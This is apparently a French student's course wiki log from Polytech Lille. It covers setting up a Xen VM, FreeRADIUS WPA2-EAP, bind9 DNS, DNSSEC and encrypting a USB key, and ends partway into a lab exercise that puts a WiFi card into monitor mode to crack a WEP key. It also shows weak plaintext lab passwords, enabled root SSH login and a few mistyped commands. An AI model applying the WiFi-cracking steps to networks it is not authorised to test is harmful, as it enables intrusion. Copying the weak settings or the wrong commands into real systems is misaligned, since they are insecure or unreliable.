&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54716</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54716"/>
				<updated>2020-12-15T16:09:29Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
